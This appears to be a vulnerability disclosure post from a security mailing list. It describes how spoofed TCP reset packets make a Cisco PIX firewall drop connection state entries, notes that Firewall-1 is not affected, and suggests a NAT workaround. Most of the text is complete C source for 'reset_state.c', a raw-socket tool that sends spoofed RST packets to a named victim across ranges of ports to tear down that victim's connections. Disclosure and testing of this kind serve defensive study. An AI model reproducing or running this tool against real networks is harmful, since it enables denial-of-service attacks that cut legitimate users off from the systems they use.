A brief rundown of the problem.

If you run routable ips on your internal interface on your pix, and
routeable ips on your external interface, so the pix is not running nat,
the pix keeps a state table of everything going on.  Anything that is not
in your state table that attempts to come in from the outside is denied,
even if there is a conduit in place to permit anything.  Which means that
you have to establish a connection from your internal network to your
external network before anything external can send data back.  This is a
really nice feature, unfortunatly there is a bit of a bug that I found in
this.  While testing on in house equipment for possible flaws, as we
continually test various products, I found the following.

On recieving a RST packet (TCP Reset) from a given host with the correct
source and destination port, the PIX will drop the state entry for that
particular connection, which means the tcp connection dies due to the fact
that no state entry the external box can no longer talk to the internal
box.

So, if we take a standard raw ip packet, give it a tcp header, and set the
source ip as a machine that your internal box is connected to, and the
destination ip as your internal machine, set the source port on the
spoofed ip as the port the person is connected to, set your destination
port on your destination ip cyclically to possible source ports on his
side, and send resets, it will drop the persons state table entry, cutting
him off from the box he is connected to.

I would like to note at this point that this exploit does NOT work against
firewall-1 due to an interesting technique used to fix the problem, when
firewall-1 recieves a TCP Reset, it simply drops its state table timeout
from
3600 seconds to 50 seconds, and should no data be recieved between the two
hosts
within 50 seconds the entry is removed from the state tables... however I
might
add that as far as I can see this opens up another interesting bug in
firewall-1,
which could lead to the possibility of a man in the middle attack, though
further
details will follow about that in another post.

Because this does NOT work in a NAT configuration, in theory, although
this hasnt been tested, the work around would be to map all global ips on
your external interface, and then static nat the ports you want accessible
on your DMZ through to localnet ip addresses.

----- reset_state.c follows, cut here -----

/* reset_state.c (c) 2000 Citec Network Securities */
/* The code following below is copyright Citec Network Securities */
/* Code was developed for testing, and is written to compile under */
/* FreeBSD */

#define __BSD_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <unistd.h>
#include <time.h>
#include <netdb.h>

struct slist {
        struct in_addr  spoof;
        struct slist   *link;
};                                      /* Spoof list */

int
main(int argc, char *argv[])
{

        int i, int2;
        int             sock;           /* Socket stuff */
        int             on = 1;         /* Socket stuff */
        struct sockaddr_in sockstruct;  /* Socket stuff */
        struct ip      *iphead;         /* IP Header pointer */
        struct tcphdr  *tcphead;        /* TCP Header pointer */
        char            evilpacket[sizeof(struct ip) + sizeof(struct
tcphdr)];
                                        /* Our reset packet */
        int             seq, ack;       /* Sequence and Acknowledgement #'s
*/
        FILE           *spooffile;      /* Spoof file */
        char           *buffer;         /* Spoof file read buffer */
        struct slist   *scur, *sfirst;  /* Spoof linked list pointers */
        char src[20], dst[20];          /* Work around for inet_ntoa static
*/
                                        /* Pointers when using printf() */
        int sourcefrom, sourceto, destfrom, destto;     /* CMD Line ports */
        int target;                     /* Target address from inet_addr()
*/


        if(argc < 6) {
                fprintf(stderr, "Usage: %s spoof_file target sps spe dps
dpe\n"
                "target = your victim\n"
                "sps = Source port start\n"
                "spe = Source port end\n"
                "dps = Destination port start\n"
                "dpe = Destination port end\n", argv[0]);
                exit(-1);
                }
        else {
                sourcefrom = atoi(argv[3]);
                sourceto = atoi(argv[4]);
                destfrom = atoi(argv[5]);
                destto = atoi(argv[6]);
                };
        
        if(sourcefrom > sourceto) {
                printf("Error, start source port must be less than end
source port\n");
                exit(-1);
                }
        else if(destfrom > destto) {
                printf("Error, start dest port must be less than end dest
port\n");
                exit(-1);
                };

        printf("Used spoof file %s\n"
               "Destination: [%s] ports: [%d -> %d]\n"
               "Target source ports: [%d -> %d]\n",
                argv[1], argv[2], destfrom, destto, sourcefrom, sourceto);

        sleep(1);

        bzero(evilpacket, sizeof(evilpacket));
                                        /* Clean our reset packet */

        sfirst = malloc(sizeof(struct slist));
        scur = sfirst;
        scur->link = NULL;              /* Setup our spoof linked list */

        if(!(buffer = malloc(25))) {
                perror("malloc");
                exit(-1);
                };                      /* Allocate for read buffer */

        if ((spooffile = fopen((char *) argv[1], "r")) <= 0) {
                perror("fopen");
                exit(-1);               /* Open our spoof file */
        } else {
                while (fgets(buffer, 25, spooffile)) {  /* Read till EOF */
                        if (!(inet_aton(buffer, &(scur->spoof))))
                                printf("Invalid address found in victim
file.. ignoring\n");
                        else {
                                scur->link = malloc(sizeof(struct slist));
                                scur = scur->link;
                                scur->link = NULL;      /* Cycle l.list */
                                }
                        };              /* End of while loop */
                };              /* End of if {} else {} */
        

        free(buffer);                   /* Free up our read buffer */
        fclose(spooffile);              /* Close our spoof file */
        scur = sfirst;                  /* Set spoof list current to first
*/

        if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
                perror("socket");
                exit(-1);
        }                               /* Allocate our raw socket */

        if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *) &on,
sizeof(on)) < 0) {
                perror("setsockopt");
                exit(-1);
        }                               /* Set socket options for raw iphead
*/

        sockstruct.sin_family = AF_INET;
        iphead = (struct ip *) evilpacket;
        tcphead = (struct tcphdr *) (evilpacket + sizeof(struct ip));
                                        /* Align ip and tcp headers */

        iphead->ip_hl = 5;              /* Ip header length is 5 */
        iphead->ip_v = 4;               /* ipv4 */
        iphead->ip_len = sizeof(struct ip) + sizeof(struct tcphdr);
                                        /* Length of our total packet */
        iphead->ip_id = htons(getpid());        /* Packet ID == PID # */
        iphead->ip_ttl = 255;                   /* Time to live == 255 */
        iphead->ip_p = IPPROTO_TCP;             /* TCP Packet */
        iphead->ip_sum = 0;                     /* No checksum */
        iphead->ip_tos = 0;                     /* 0 Type of Service */
        iphead->ip_off = 0;                     /* Offset is 0 */
        tcphead->th_win = htons(512);           /* TCP Window is 512 */
        tcphead->th_flags = TH_RST;             /* Reset packet */
        tcphead->th_off = 0x50;                 /* TCP Offset 0x50 */

        iphead->ip_dst.s_addr = inet_addr(argv[2]);

        srand(getpid());                        /* Seed for rand() */
        while (scur->link != NULL) {
                seq = rand() % time(NULL);      /* Randomize our #'s */
                ack = rand() % time(NULL);      /* Randomize ack #'s */
                sockstruct.sin_port = htons(rand() % time(NULL));
                iphead->ip_src = scur->spoof;   /* Set the spoofed address
*/
                sockstruct.sin_addr = scur->spoof;
                for(i = sourcefrom; i <= sourceto; i++) {
                        for(int2 = destfrom; int2 <= destto; int2++) {
                                usleep(2);      /* Sleep 5ms between packets
*/
                                seq += (rand() %10)+250;
                                ack += (rand() %10)+250;
                                tcphead->th_seq = htonl(seq);
                                                /* Set sequence number */
                                tcphead->th_ack = htonl(ack);
                                                /* Set ack number */
                                tcphead->th_dport = htons(int2);
                                                /* Set destination port */
                                tcphead->th_sport = htons(i);
                                                /* Set source port */
                                snprintf(src, 20, "%s",
inet_ntoa(iphead->ip_src));
                                snprintf(dst, 20, "%s",
inet_ntoa(iphead->ip_dst));
                                /* Copy info to src and dst for printing */
                                printf("TCP RESET: [%s:%d] -> [%s:%d]\n",
src, ntohs(tcphead->th_sport), dst, ntohs(tcphead->th_dport));
                                sendto(sock, &evilpacket,
sizeof(evilpacket), 0x0,
                                        (struct sockaddr *) & sockstruct,
sizeof(sockstruct));
                                                /* Send our evil packet */
                                };
                        };
                scur = scur->link;              /* Cycle the spoof ips */
                }
                scur = sfirst;
        return (1);

};

------- End of code, cut here -----